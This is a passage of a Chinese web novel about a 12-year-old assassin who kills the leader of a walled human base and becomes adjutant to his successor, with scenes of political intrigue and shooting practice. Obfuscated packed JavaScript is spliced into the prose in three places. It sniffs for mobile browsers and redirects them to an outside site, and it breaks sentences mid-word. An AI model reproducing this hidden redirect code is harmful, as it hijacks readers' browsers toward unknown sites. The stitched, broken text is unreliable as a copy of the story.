杀手闷闷地“唔”了一声,老实地收起正要划燃的火柴,把没点燃的烟叼在嘴里。 单无绮继续调整精度。 她不确定自己能否全身而退,所以这一次,她必须格外谨慎。 刺杀太阳。 这里面的政治信号,比鲜血还要浓艳。 生与死,浮与沉。 许多时候,成功与失败只在一念之间。 杀手蹲在单无绮身边,沉闷得近乎沉默。 杀手体格壮硕,而基地鲜有这样的人。外城缺衣少食,唯有饿殍遍地,内城纸醉金迷,皆以病弱为美。 瞄准镜调整完毕,精度确认完毕。 单无绮松了一口气,杀手突然开口。 “七姐。”杀手说,“我想唱个小曲儿。” 单无绮抬头瞄杀手一眼:“为什么?” “不为什么,我就是觉得……”杀手顿了顿,“这一次,我可能回不去了。” 单无绮沉默了一瞬。 她抬眼看向远方。 晚间供电已经结束,但内城的中心,老首长所在的中央区仍然灯火通明,悠扬的乐声隐约传来,仿佛天外之音。 凡有的,要再加给他,叫他有余。 凡没有的,连他所有的,也要夺去。 基地的钱财通通流向了极富极贵的人,社会的燃料是下等人的血泪与尸骨,这座巍峨华美的白骨塔,塔顶高高坐着的,并非照亮前路的明灯,也并非指引迷津的罗盘。 而是一群尔虞我诈的蠹虫。 深吸一口气,单无绮用力坐在地上,虚虚地抱着狙击枪。 她点了点头。 杀手轻笑一声,不成调的小曲儿从他喉间沙哑地哼出。 那是单无绮听不懂的语言,带着忧郁与悲伤。基地已经开始试点样板戏,不出预料,这样“蛊惑人心”的民谣会在五年内被封杀。 一曲唱毕,杀手砸吧嘴:“要是手边有一把三弦琴就好了。” “黑市可能有。” “也许吧。”杀手垂眸一笑,“要是能回去,咱们去找找?” 这一次,单无绮没有拒绝。 …… 觥筹交错,衣香鬓影。 当着所有宾客的面,老首长再次推举出一位青年。 青年脸颊微红,双眼明亮,丝毫不知命运已经开出筹码。而上一个青年,绑着石头的尸体正腐烂于冰冷的河底。 “诸位,请为我的继任人举杯!”老首长笑道。 苍老的太阳即将西沉。 年青的太阳正在东升。 众人对视一眼,脸上挂出虚伪的笑容,为这颗注定陨落的太阳发出异口同声的庆贺。 无人注意的角落,阎银华初见老态。他从命运女神的手中赢回一条性命,却直接断送了自己的政治前途。 阎银华凝视老首长。 他的腰间藏着一把手枪。 宾客恭贺声不绝于耳,整个晚宴其乐融融。阎银华站到窗边,预备跳窗离开,浸满手汗的右手偷偷下移,摸上了衣摆下的手枪。 突然,一只冰冷的枪口抵上阎银华的太阳穴。 熟悉的呼吸声传入耳中,阎银华心中的弦一瞬间绷紧了。 “是你。”阎银华道。 “嗯。”乔纳森道,“你被出卖了。” “谁?” “死人没有名字。” “……”阎银华深吸一口气,“那么我呢?我的墓碑会刻上‘阎银华’三个字吗?” 乔纳森不语。 如今的乔纳森已是友爱部部长——杀死老上司后,乔纳森如愿提拔到了老上司的位子上,他和阎银华的命运曾经短暂交汇,但最终渐行渐远。 阎银华突然释然了。 他好似看淡了生死,连说出的话都轻快而俏皮:“那个年轻人是哪个家族的公子?” “他什么也不是——他顶替了同名同姓者,沾沾自喜,却不知这条天梯通向地狱。” “啧,活该。”阎银华嗤道。 乔纳森有些意外:“你不怜悯他?” “笨与蠢绝不相同,笨是知识和视野有限,蠢是佯装单纯的坏。”阎银华犀利点评,“我会乐意拯救一条无辜受骗的灵魂,却绝不会将手伸向踏入泥潭的伥鬼。” 乔纳森道:“你和他半斤八两。” 阎银华塌下肩膀:“也许如此——开枪吧,我的朋友。” 宾客的溢美之声轰鸣如雷,晚宴气氛即将达到顶峰。 乔纳森一点点扣下扳机。 砰——! 一道鸟鸣般尖锐的枪声贯穿了在场所有人的听觉。 乔纳森扣到一半的扳机僵硬地停下。 时间一瞬间极其缓慢。 众目睽睽之下,高举酒杯的老首长脸上出现一个大洞。 犹如黑子吞噬太阳,犹如命运拨错琴弦。 老首长踉跄倒退两步,随后,“咚”地一声摔倒在地。 ——死神敲响丧钟。 ——苍老的太阳西沉了。 死寂,死寂,可闻落针的死寂。 所有人维持着之前的动作,像一具具硬化的蜡像僵硬地站在原地。 没人知道下一颗子弹会落在谁的身上,没人知道——死神是否会敲响第二声丧钟! “警卫——!!!”乔纳森高声喝道,“敌袭——!!!” 突然,乔纳森凭身体本能抬起手,擒住了一只朝自己后脑勺偷袭的手——那只手来自阎银华。 电光火石之间,阎银华举起另一只手,枪口对准台上茫然无措的年轻人。 ——乔纳森的发难在阎银华的预料之内,而阎银华从不打没有准备的仗。 砰! 死神敲响了第二声丧钟! 十三公里外的高塔,单无绮果断弃枪逃离。 那把狙击枪是单无绮全身上下最贵的家当,但单无绮深知生命价更高。她跑得毫不拖泥带水,连杀手伙伴都原地愣了半秒,才后知后觉地跟上她的步伐。 砰砰砰! 子弹擦过耳畔,鲜血淌过单无绮嘴角。 单无绮的心跳快得发疯。 她落地后滚身躲过数枪,又在手电筒亮起前藏进附近的掩体。螳螂捕蝉黄雀在后,蝉已死,螳螂在黄雀的追杀下仓皇逃命,即将成为下一只蝉。 “汪汪汪!”猎狗的叫声嘹亮地响起。 单无绮脸色倏地一白。 犬吠声越来越近,单无绮躲在掩体里,不远处就是宽阔的运河。 如果只有猎狗,她就可以跳进运河,因为河水会阻断气味;如果只有猎人,她也可以跳进运河,因为没人能在夜里射杀水中人。 但猎人牵着猎狗。 犹如食客举起刀与叉。 单无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那家伙浮上来了。”一个党员道。 梅顺势看过去。 刹那间,梅的瞳孔缩如针尖。 …… 单无绮再次从噩梦中惊醒,两行半干的泪痕挂在眼角。 她睁眼,又是熟悉的天花板。 单无绮从来不知客人的名讳,她只知道,自己一直都在万丈钢丝上跳舞,今日,终是重重跌落,粉身碎骨。 但她已暴露,对方为何还不杀死自己? 吱呀—— 房门打开,护士推着小车走了进来。 护士有着圆圆讨喜的脸蛋,她照料单无绮一月有余,和单无绮已经十分熟悉。 单无绮将头偏向另一侧:“他还在外面?” “他是你哥诶,小妹妹。”护士的声音又柔又亮,门外的梅也一并能听见,“刚才他和我说,他想对你道歉。” “他是想拿皮带抽死我。”单无绮冷笑一声,“还有,我不是他妹,他没有我这个丢脸的妹妹。” “那可不一定。”一个陌生的声音出现在单无绮耳畔,沉稳,严肃,冷峻,是个男人,“单无绮,久仰大名,我终于见到你了。” 单无绮扭过头,看到了一个胸肌宽阔的高大男人。 他有着两撇吸睛的漂亮胡子,乌黑上翘,打理得极好。 “滚。”单无绮言简意赅。 “你不好奇我是谁吗?”黑胡子男人发起疑问,这疑问又顷刻变成设问,“我是来结尾款的,七。” 七。 这是单无绮的代号。 单无绮的瞳孔收缩了一瞬:“是你?” “是我。”黑胡子男人瞥了眼门外,他只觉得后背凉飕飕的,前有狼后有虎,说的就是现在的他,“还有,你想知道我是谁吗?” 老首长已死,新首长当立。 单无绮:“谁?” 黑胡子:“太阳——或者说,新首长。” 64. 单无绮的往事(五) 单无绮心头惊涛骇浪,表面却不动声色:“首长。” 首长的两撇黑胡子遮住了下半脸,看不出年龄。他穿着一身低调的便装,衣领服帖地垂下,露出麦色有力的脖颈。 单无绮皱眉。 她竟然看不出首长的真实年龄,只能猜测他在三十岁至五十岁之间。 首长安静不语,黑色的双眸一片沉静。他是基地的新太阳,但此时此刻,他给单无绮的印象更像是无光的永夜。 有趣。单无绮想道。 “基地百废待兴,我需要人才。”首长开门见山,“单无绮,你愿意为我所用吗?” 梅的呼吸猛地一滞。 单无绮抬起双眼。 单无绮的蓝眼睛好似一头野兽,锐利,冰冷,野心勃勃。 她问:“为什么是我?” “从政治立场考虑,你必然站在我这边,老首长已死,你只能向我寻求庇护,以及活命的可能。”首长的语气不疾不徐,“从个人情感考虑,你今年才12岁,天资过人,未来可期。” 单无绮微微眯眼:“如果我拒绝呢?” “那么,我们的交易到此结束,刺杀太阳的尾款,我会在三天内打入你的账户。”首长答。 单无绮从半躺变为端坐。 她盯着首长古井无波的脸,余光滑过门外梅的侧影,突然发出一声夜枭般尖戾的笑声。 首长不明所以地看向单无绮:“你笑什么?” “从今天起,我效忠你。”单无绮笑道,“但是,我还有一个条件。” “请讲。” “把梅调去一个安全的位子,他必须死在我之后。”单无绮停下笑声,低垂眼眸,“以及,从今天起,我的户口单开,我与他,再不是兄妹。” 梅垂落的手动了动。 首长眨了眨眼睛:“这是两个条件。” 单无绮躺下来:“你答不答应?” “我答应。”首长答,“那么单无绮同志,从今天起,请多指教了。” 单无绮拉起被子,只露出一双漂亮的蓝眼睛:“对了,我以什么身份效忠你?” “我的副官。”首长答。 ……哈? 一瞬间,单无绮瞪圆了双眼。 “我在老首长死后第二天成为首长,你的职务和职级在那一天同时生效。”首长扔出升级大礼包,“知道医院里的人为什么如此尊敬你吗?就算是院长站在你面前,他的职级也只是和司长同级,司长之上是部长,部长之上是副官,副官之上才是我,现在的你,可谓一人之下,万人之上。” 单无绮:“……” 单无绮:“不是……” 首长看向门外:“梅,请你进来一下。” 梅是一条桀骜的烈犬,无人能够驯服。但不知为何,现在的梅犹如拔去了獠牙,以近乎温驯的姿态走了进来。 单无绮盯着梅。 梅也盯着单无绮。 首长:“叫单副官。” 单无绮:“…………” 单无绮:“不是,你……” “单副官。”梅道。 梅的语气心悦诚服,但单无绮愣是听出了秋后算账的意思。 单无绮眨了两下眼睛,心虚地移开视线。 她对首长道:“我撤回第二个条件……” 单无绮话音未落,一名党员小跑到病房门口。 党员大声道:“报告!” “请进。”首长道。 党员快步走入,额头冒着热汗。单无绮眼尖地看到,党员的手里攥着两本眼熟的东西。 红红的,方方的,崭新的。 单无绮咽了下口水:“这是……” “日安,单副官!日安,梅处长!”党员恭敬地向两位领导打招呼,随后,将手里的两个红本子,一人一本交了出去。 看清红本子封皮的刹那,单无绮彻底失去了所有颜色。 她接过崭新的户口本,颤着指尖翻开第一页。散发着墨水香气的户主一栏,赫然写着“单无绮”这个名字。 完啦! 单无绮绝望地想道。 党员恭敬地低着头,余光好奇地盯着二人的反应。首长低笑一声,鼓励地拍了拍党员的肩膀,夸赞他跑得真快。 梅两指拈着户口本,挑了挑眉毛。 单无绮盯着梅阴晴不明的脸,微不可察地一点点往后缩。 “咱们走吧,让这对兄妹叙叙旧。”首长背手转身,“还有,梅,我的副官是一个病人。” “嗯。”梅说。 单无绮汗毛倒竖。 首长和党员刚离开,单无绮就熟练地缩成一团。 她双手护住脑袋,从指缝里可怜兮兮地看着梅:“哥,别打脸。” 梅走过来,单无绮闭紧双眼。 啪! 一个东西扔到单无绮的病床上。 单无绮睁开眼,发现是她的小皮箱。 她看了梅一眼,又伸手打开。 一把拆解过的狙击枪躺在里面,还有一份死亡证明。 单无绮拿起死亡证明,发现是一个陌生的名字。 梅观察单无绮的表情:“他死了。” 单无绮愣了一下,随后反应过来,这是杀手同伴的死亡证明。 她还记得那首有点跑调的民谣。 单无绮垂下双眸,隐隐泛着泪光。梅盯着单无绮,俊俏的脸上一片凝重。 梅低声道:“他死了。” 单无绮脑子有点混乱,被她强行压抑的悲伤与后怕,在这一刻终于开始释放:“嗯,他死了。” 梅牢牢地盯着单无绮:“你……和他什么关系?” “同伴。”单无绮道。 梅肉眼可见地舒了一口气。 但单无绮没有注意梅的异常。 她捏着那张死亡证明,喃喃道:“他给我唱过小曲儿,我答应过他,要和他一起买一把三弦琴。” 梅本来放下的心再一次悬了起来。 单无绮盯着死亡证明:“他……才23岁。” “你才12岁!”梅厉声道。 单无绮疑惑地抬起头。 梅自知失言。 他看着单无绮清澈的眼神,知道事情不是自己担心的那样——这小丫头完全没开窍,自己完全是多心了。 单无绮:“哥,你怎么了?” 梅:“……” …… 单副官新官上任,却没有立刻点燃三把火。 按照首长和梅的说法,她必须优先完成她的学业。 单无绮的副官身份对无关人士保密,但内城一中是四部党员的摇篮,其中不乏高官子弟,他们从父母口中得知单无绮的身份,看向单无绮的目光变得十分复杂。 她才12岁,凭什么? 单无绮没有理会外界的风言风语。 她用一年的时间学完了初中三年的课程,又用一年的时间学完了高中三年的课程,在所有人或友善,或恶毒,或观望的目光下,她以第一名的好成绩,考入了内城最好的大学。 两年后,单无绮修满学分,以十六岁的稚龄顺利毕业。 这不是单无绮创造的第一个奇迹,但这条新闻一出,人们依然跌破了眼镜。 然而,和单无绮恐怖的学习进度成反比的,是单无绮原地踏步的身高。 也许是童年时伤了根基,也许是女孩子的发育期停止在12岁,现在的单无绮仍然只有159cm。 “是159.5cm。”十六岁的单无绮强调道,“四舍五入就是160cm,穿上鞋就是165cm。” 梅敲上单无绮的脑袋:“知道了。” “狗屎亚历克谢。”单无绮做鬼脸。 “小矮子。”梅冷哼一声。 亲兄妹最知道彼此的痛点,二人斗了一阵嘴,两败俱伤。 梅冷着脸打开生日蛋糕的盒子,像拷问官扎针一样扎上蜡烛,随后一一点亮。 单无绮给自己戴上生日帽。 啪! 首长拉灯。 摇曳的烛火中,首长凝视单无绮。 他从未后悔让单无绮成为副官,事实证明,他的眼光没有出错。 光明处,她是才华横溢的纵世奇才,黑暗里,她是磨牙吮血的无情杀手。 文章星斗,诸武精通。 她的故事即将开始。 她的人生即将启航。 单无绮的蓝眼睛亮晶晶地盯着点燃的蜡烛。 她以超人般的意志实现了无数个不可能的目标,但此时此刻,她才真正像一个十六岁的孩子。 “我要吹啦!”单无绮雀跃地说。 呼—— 十六根蜡烛齐刷刷吹灭。 首长拉动灯线,但屋内仍是一片黑暗。 晚间供电已经结束。 上任后,首长整顿内务,着手做的第一件事,就是将内外两城的标准对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“介绍一下,他是约书亚·亨特的儿子,萨摩。”首长转向屋内的兄妹俩,目光凝聚在梅的身上,“老亨特即将内退,梅,不出意外的话,你将成为下一个执行司司长。” 单无绮小小地“呜呼”了一声。 梅皱眉:“所以?” “老亨特的人脉为你所用,而他的儿子萨摩进入友爱部,一切从零开始。”梅的语气不算好,但首长知道梅的性格,因此并不生气,“你愿意成为他的老师,帮他熬过第一道坎吗?” 梅嗤了一声:“老东西,明明是你想把手伸进友爱部,别扯虎皮大旗。” 首长微微一笑。 萨摩大为震撼,眼珠子都快瞪掉了。 见梅不为所动,首长道:“无绮。” 单无绮正在偷吃蛋糕,嘴角沾着点奶油。 听到首长的话,单无绮猛地抬起头。 她镇定地擦了擦脸上的奶油:“老大哥。” “从今天起,他就是你的徒弟了。”首长道,“萨摩,叫师父。” 萨摩:“师……” 梅:“老东西住嘴!小子,明早九点来靶场,我先看看你的水平。” 首长环起手臂:“萨摩,该你选择了——谁是你的师父?” 这是一道送命题。 萨摩恐惧地低头,额头冒出颗颗细汗。 突然,萨摩手中的花束被人接过。 萨摩抬头,迎面撞入一张漂亮的尖脸。 单无绮表情冷峻,嘴角却沾着一点奶油,让她的威严大打折扣。 她看着萨摩:“叫师父。” 单无绮身后,梅紧绷着脸,一言不发地盯着萨摩。 萨摩看看首长,又看看单无绮。 ——他完全不敢看梅,那里的杀气已经满得溢出来,连鼻子吸入的空气都锋利如刀刃。 萨摩心一横:“师父!” 横竖都是死! 女师父总比男师父温柔吧! 多年以后,面对特情司,萨摩·亨特将会想起首长带他拜师的那个遥远的晚上。如果可以,他一定会回到过去,对年少时的自己说—— 不要被基地规训的刻板印象蒙骗。 女人,可以比男人更加凶狠。 65. 单无绮的往事(六) “手抬高点。”单无绮道。 烈日当头,萨摩汗流浃背,汗水一颗颗滑进眼睛里。听到单无绮的提醒,萨摩吸了吸鼻子,僵硬的手臂却无力抬高。 砰! 萨摩再次开枪。 单无绮眼也不抬:“又脱靶了。” 萨摩放下手枪,脸上流露出一丝微不可察的挣扎。 单无绮抬起眼皮:“累了?” 萨摩道:“嗯。” “累了就歇会儿。”单无绮倚墙翻书。 萨摩走到靶场阴凉处,在单无绮脚边坐下。单无绮余光扫过萨摩汗津津的发尖,将手里的文件翻过一页。 哗—— 飞快扫完新一页的内容后,单无绮又翻过一页。 哗—— 萨摩仰起脸:“师父,你在看什么?” “《内城建设项目用地预审与选址意见书》。”单无绮吐出一长串标题,“老大哥和那群老不死又在互扯头花,将来估计有一场硬仗要打。” 萨摩只虚虚靠着单无绮的一条腿,因为单无绮的另一条腿边,摆着一摞半人高的白皮书。 萨摩盯着那摞白皮书:“你要看这么多文件?” “这是今天上午的,下午的还没送来。”说话的工夫,单无绮把手里的文件看完了,“把最下面那本递给我。” 萨摩盯着单无绮。 在单无绮挑眉表示疑惑前,萨摩顺从地接过单无绮手中的文件,又从白皮书里抽出单无绮想要的那本,恭敬而沉默地递给了她。 单无绮接过。 哗哗哗—— 几分钟后,单无绮将看完的文件悬在萨摩鼻尖。萨摩抬手接过,又艰难地扭身,打算抽一本新的再次递给单无绮。 咔吧! 萨摩脸色一白。 他的腰扭了。 “小可怜。”单无绮踢了踢萨摩的背,“今天的训练先到这里吧。” 萨摩萎靡地坐在原地,仰头盯着单无绮的动作。 哗哗哗—— 单无绮量子速读,萨摩发了一会儿呆,试探地将手伸向那摞白皮书。 啪! “嗷!”萨摩吃痛抱头。 “狗崽子,爪子还挺长。”单无绮收回卷成卷筒的文件,“这些都是机密,偷看会被枪毙的。” 萨摩“唔”了一声:“枪毙罪犯是友爱部的工作。” 单无绮心念一动。 “你在哪个司室?”单无绮问。 “特情司。”萨摩答。 “是老大哥的意思?” “嗯。” “你不反对?” “反对没用。”萨摩仰头盯着天空,那里有一轮太阳,“我想要父亲善终。” 单无绮的眼角皮肤细微地颤了颤。 她没有继续窥探萨摩的隐私——这场闲聊突然发展到这一步,本来就够奇怪的了。 但萨摩没有停嘴。 “我母亲早逝,父亲一个人把我养大。”萨摩的语气疲倦且轻柔,无法分清到底是没有力气,还是刻意放轻了声音,“我能感受到,他对自己如今的成就并不满意,因此,他为我规划了一条完美的道路,只要我按部就班地走下去,我将来的位子一定远高于他。” 单无绮没说话。 她“哗哗”地翻书,速度却慢了下来。 “亨特家族是内城贵族,几个月前,这个姓氏还是筑墙派的拥趸。”萨摩眯眼盯着天上的太阳,“首长是迁徙派的人,自他上任后,刚烈者自戕,怯懦者投降。但我的父亲不属于这两者——他和大多数贵族一样,效忠金钱和权力,首长站在哪一边,他就站在哪一边。” 萨摩仰起脸,盯着单无绮的下巴:“师父,如果你是我,你会怎么做?” 单无绮叹了口气。 她说:“闭眼。” 萨摩不解,但照做。 一只带着老茧的小手用力揉上萨摩的头顶。 萨摩睁开一只眼睛,发现单无绮的嘴角微微上翘。 “你有我罩着,怕什么?”单无绮道。 这是单无绮第一次……不,第二次对萨摩笑。 萨摩下意识把单无绮现在的笑容,和四年以前,单无绮在废弃工厂的笑容进行对比。 丁达尔效应不是强化美貌的唯一方法。 萨摩盯着单无绮的下颌线,突然觉得脑袋有点晕。 砰! 一发子弹险险地擦过萨摩的耳廓。 萨摩捂住耳朵,蜷起身子,尖锐的耳鸣充斥听觉。单无绮微微皱眉,抬眼看向靶场门口。 梅缓缓放下冒烟的手枪。 “你疯了?”单无绮问。 “你疯了?”梅反问,他已经不爽萨摩很久了,“你今年多大?” 单无绮答:“十六。” “基地最低生育年龄也是十六。”梅的话看似委婉,实则尖锐。 萨摩连滚带爬地站起身,不再倚靠单无绮的腿。 单无绮的眉头皱得更深了。 她喃喃道:“烦死了,好不容易比我矮……” 梅假装没读懂单无绮的唇语:“首长找你有事。” 顿了顿,梅视线下移——他比萨摩高一头:“这只狗崽子暂时交给我。” 萨摩本来有点烦闷,却见单无绮猛地睁大了双眼。 单无绮是个天才,全方面的天才。 萨摩无从知道,单无绮的大脑得出了怎样惊人的结论,但至少,在他们相处的几个月里,单无绮从未如此失态。 单无绮明显想追问什么,但她顾忌在场的萨摩,没有出声。 单无绮沉默地离开,带着某种决心。萨摩盯着单无绮留在原地的那摞白皮书,一只坚硬的枪托突然抵上了他的脸颊。 萨摩吃痛回头,梅收回枪托。 “你该叫我师父了,小狗。”梅甚至不愿意以名字称呼对方,“上靶,让我看看水平。” 萨摩的神经末梢后知后觉地颤动了一下。 他上前一步,睁大眼睛追问:“单……我师父呢?” 梅沉默,不想回答。 萨摩再次上前。 “你就当没有这个师父!”梅恼怒道。 梅不能把话说得太明白。一切都悬而未决,政治的餐桌上,每一位食客都可能成为盘中餐。 但出乎他的预料,萨摩没有追问。 在梅的注视下,萨摩沉默地走上靶场,对毫发无伤的靶纸举起手枪。 砰! 萨摩放下枪。 梅捂住额头:“你耍个屁的帅……脱靶了!” 萨摩没有反驳。 梅察觉不对,走近靶纸,对墙上的弹孔眯起眼睛。 ——没有新弹孔。 ——一地的弹壳,只有一个弹孔。 梅瞬间明白了什么。 他回头看了看萨摩,又扭头盯着墙上的靶纸——一个标出要害的人形:“你是傻逼吗?” 萨摩再次举枪,梅挑眉。 砰! 子弹和梅擦身而过,墙上唯一的弹孔再次加深。 萨摩放下枪,梅嗤笑一声。 梅:“挑衅?示威?想咬人?” 萨摩:“只是练手。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046772|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你的牙齿足够尖,但鼻子不够灵。”梅终于生出一丝正视萨摩的想法,“回答我,离开这里前,单无绮的脑子在想什么?” 萨摩的目光扫过那摞白皮书:“筑墙派和迁徙派又要斗起来了,她在思考——自己能否全身而退。” “傻逼!”梅的咒骂直抒胸臆,“她在思考怎么保下外城!” 这是两个看似风马牛不相及的话题。 但萨摩不是傻子,当一件事有了起因和结果,便足以推断出经过。 基地的资源分配矛盾日益尖锐,首长拉齐内外两城的供给标准(例如统一供电时间),也有这方面的考量。 但这只是在拖延问题,却无法彻底解决问题。 人口在某些时期是红利,在某些时期是黑利。 不幸的是,如今的基地,已经进入人口黑利期。 再一次,在梅的注视下,萨摩举起枪。 善良是人类最美好的品德,无法将枪口对准同胞,不是萨摩的罪。 但这个基地生着怪病,能够吞噬一切明亮的东西。 砰! 梅安静地盯着墙上的人形靶纸——眉心处,一个漆黑的弹孔徐徐冒着白烟。 不等梅刁难发问,萨摩放下枪的同时轻声解释:“有的人,心脏长在右边。” 所以他射击大脑。 所以他一击毙命。 梅没有说话,因为他很不想承认自己看走眼了。 萨摩不是狗。 他是一头狼。 …… 首长坐在会议桌上首处,十六岁的单无绮低眉顺目,如同一只没有存在感的花瓶,温顺而沉默地站在首长身后。 这里没有她说话的地方,即使她是首长副官。 首长的身边看似满是拥趸,实则一团污秽。 贵族是群墙头草。他们空占着因先利条件和漫长时间积攒的社会财富,让流动的货币变成了腐臭的死水,为了手中的面包能涂满黄油,他们屡屡随风而倒。 平民是群黑羊。他们争得头破血流,从基层乃至底层爬到如今的高位,早已舍弃了宝贵的美德,取而代之的是漆黑的心窍,与渴血的肝肠。 而个别人,他们既不属于贵族,也不属于平民。 隐晦而露骨的余光频频扫过单无绮,单无绮盯着鞋尖,第一次失去了所有伶牙俐齿。 ——我能做什么? ——我该做什么? 单无绮安静地思考,把脑子里的想法描了一遍又一遍,仿佛写作文的学生无从下笔,笔尖反复描过同一个逗号。 “诸位,肃静。”首长终于开口,“请听我一言。” 哄闹的会议桌安静了。 一双双或浑浊,或精明的眼珠牢牢盯着上首处的首长。 无人敢这样直视太阳,然而财帛动人心,天上的太阳会平等地刺瞎每一个窥视者的双眼,但地上的太阳却不会。 “首先,我拒绝执行人类筛选计划。”首长零帧起手。 轰——!! 安静了不到五秒,会议桌再次开始轰鸣,而且比之前更热烈,更真切,更直抒胸臆。 一张张嘴巴快速翕张,像离了水的鱼。一只只脖颈涨红伸长,像向上提的鸭。 “为什么?” “那群贱民有什么好在乎的?” “你背叛了你的阶级!你背叛了你的同胞!你背叛了你坐着的位子——你不配当首长!” 一群狗屎! 去死吧! 毁灭吧! 阴影处,单无绮抬起蓝眸,杀心凛冽,目光如刀。 66. 单无绮的往事(七) 单无绮的杀意好似一簇簇吸血藤,在她的身后疯狂乱舞。但一只宽厚的大手突然捏了捏单无绮的指尖,让她即将爆发的杀意瞬间平息。 单无绮的眼神一下子清澈了。 她盯着首长收回的大手,眼观鼻鼻观心,认真聆听首长接下来的话。 “诸位,你们的理想还长存吗?”首长的声音轻飘飘,意义却振聋发聩,“三百年前,伟大的筑墙者为人类修起高墙,不是为了让后人在墙内厮杀、内斗的,尤其是你——” 会议桌归于平静,但参会者们的眼睛鼓动如蛙,他们仍不甘心。 随着首长的目光和话题指向一人,其他人也齐齐看了过去。 众目睽睽下,那人的脸颊泛起病态的绯红。 他显然是个贵族,神韵清矍,眼神高傲,皮肤苍白如雪,仿佛被砒霜浸透:“我?首长大人,请问我犯了什么错?” 单无绮盯着那人,脑中浮现出对方的身份信息。 ——他是筑墙者的直系后代,拥有基地最高贵的姓氏之一。 ——但声色犬马腐蚀了他的体魄和灵魂,年逾五十的他,至今都没有嫡系后代,甚至连私生子都没有。 “你没有错,奥斯汀先生。”首长道,“只是今日,我得知你有一件大喜事,因此特意恭喜你。” 不等众人开始议论,首长对单无绮低声道:“把人带上来。” 单无绮愣了一瞬,随后了然。 她绷住冷脸,从会议室外带入一人——他是诸多非核心党员中的一个。 会议室里的人共商国是,翻手作云覆手雨;会议室外的人竖耳恭听,高轩一枕梦黄粱。 被单无绮带进来的那名党员,脸上同时有着茫然、喜悦和恐惧,待看清会议桌上首处的首长,他甚至“扑通”一声,脚软地跪了下来。 首长:“奥斯汀先生,请你仔细看一看他的脸。” 奥斯汀愣了一下,下意识看向那人的脸。 在场的人都是政治生物,一瞬之后,包括奥斯汀在内,所有人都明白了首长的言外之意。 奥斯汀空守着高贵的姓氏和凋敝的人丁,即使即将退休,但他仍然不肯让贤。现在,首长给出了一个解决方案,只要奥斯汀认下这个孩子,家族的荣耀和后路就都有了保障。 奥斯汀倚老卖老,时常以“筑墙者后裔”的身份和首长唱反调,但如今,这个尊贵的身份反而成为了他的枷锁。 ——你敢让筑墙者的光荣姓氏断绝吗? ——你敢不认下这个孩子吗? 单无绮牢牢盯着奥斯汀,后者保养得宜的手指放在桌下,身体微不可察地颤抖着。 脚软跪地的党员被单无绮捏着后颈,他想要起身,但他毫不怀疑,只要他乱动一下,这位面冷心狠的副官就会毫不留情地掐断他的喉咙。 “……他来自哪里?”良久,奥斯汀问道。 奥斯汀的口吻听起来似乎暂时妥协了。 单无绮看着首长的后脑勺,她无法看到首长的表情,也无法猜测,首长到底怀着怎样的目的。 首长:“外城。” 奥斯汀勃然大怒:“你太过分了!我怎么可能去外……” “所以,我打算让我的副官去外城调查。”首长不疾不徐地抛出一枚炸弹,这才是他的目的之一,“诸位,可有异议?” 这场剑拔弩张的会议,就这么稀里糊涂地结束了。 奥斯汀带着他的野孩子离开了,后者是否真的是奥斯汀的骨肉,以及后者的结局是生是死,无人知晓。 贵族戚戚地盯着奥斯汀的背影,开始梳理自己盘根错节的关系网,包括但不限于父母、妻子和情人。 平民隔岸观火,感慨首长的手终于伸向了贵族,又忐忑首长的手是否会伸向平民。 首长以精妙的政治手腕,将对准自己的矛头引向掷矛者,并触动了政客之间的猜疑链,从而成功金蝉脱壳。 但这只是手段,首长的目的只揭露了冰山一角。 办公室,单无绮接过首长递来的文件。 “阅后即焚。”首长说。 单无绮翻开浏览。 这份文件不厚,但随着一页页翻过,单无绮的阅读速度越来越慢,到最后,甚至定格在了倒数第二页。 单无绮苍白着小脸:“首长。” 这是一份滴血的死亡名单,上面写满了人名和他们的死因,而单无绮越翻越慢,是因为上面的人,全部都活在人世。 越往后,那些人名和首长的关系就越密切,翻到倒数第二页时,基地所有位高权重的老人,名字都涂上了血色。 首长扬起微笑,他伸出手,为单无绮翻到最后一页。 啪嗒! 文件从单无绮手中滑落。 ——最后一页上,赫然画着一个两撇胡子的人像! ——死因:背叛人类,被新首长枪决。 单无绮颤着嘴唇:“……为什么?” “人类第一基地宿蠹藏奸,重病还需猛药医。”首长的声音沉缓而温和,还有一丝对后继者的期冀,“无绮,这是我们之间的秘密,你不可以告诉任何人,包括梅。” 多么残忍啊!多么无情啊! 单无绮用力闭上双眼。 她今年十六岁,双手沾满鲜血,但从今天起,她的心灵也要沾满鲜血了。 首长温和地看着单无绮。 雏鸟的羽翼即将丰满,但巢外风雨飘摇,覆巢之下焉有完卵?如果老鸟的尸骨能为雏鸟铺平坎坷的道路,哪怕只有短短一小段,他也能心满意足了。 单无绮咬紧嘴唇。 “好,我答应你。”她道,“但你也要答应我一个条件。” “你说。” “你的名字是什么?”单无绮抬起含泪的眼眸,“等你死后,我会为你立下墓碑。” 首长笑了。 他摸了摸自己的两撇胡子:“你知道筑墙者的名字吗?” 筑墙者的姓与名皆是一个谜。 即使奥斯汀和他的父辈自称筑墙者的后人,但也只是历任首长忌惮他们庞大的祖业和人脉,于是顺势认可了这个理由。 单无绮知道这个秘辛,因此,她也一瞬间明白了首长的意思。 时代的车轮滚滚向前,柴薪无需拥有姓名。 唯愿前仆后继。 唯愿薪火永存。 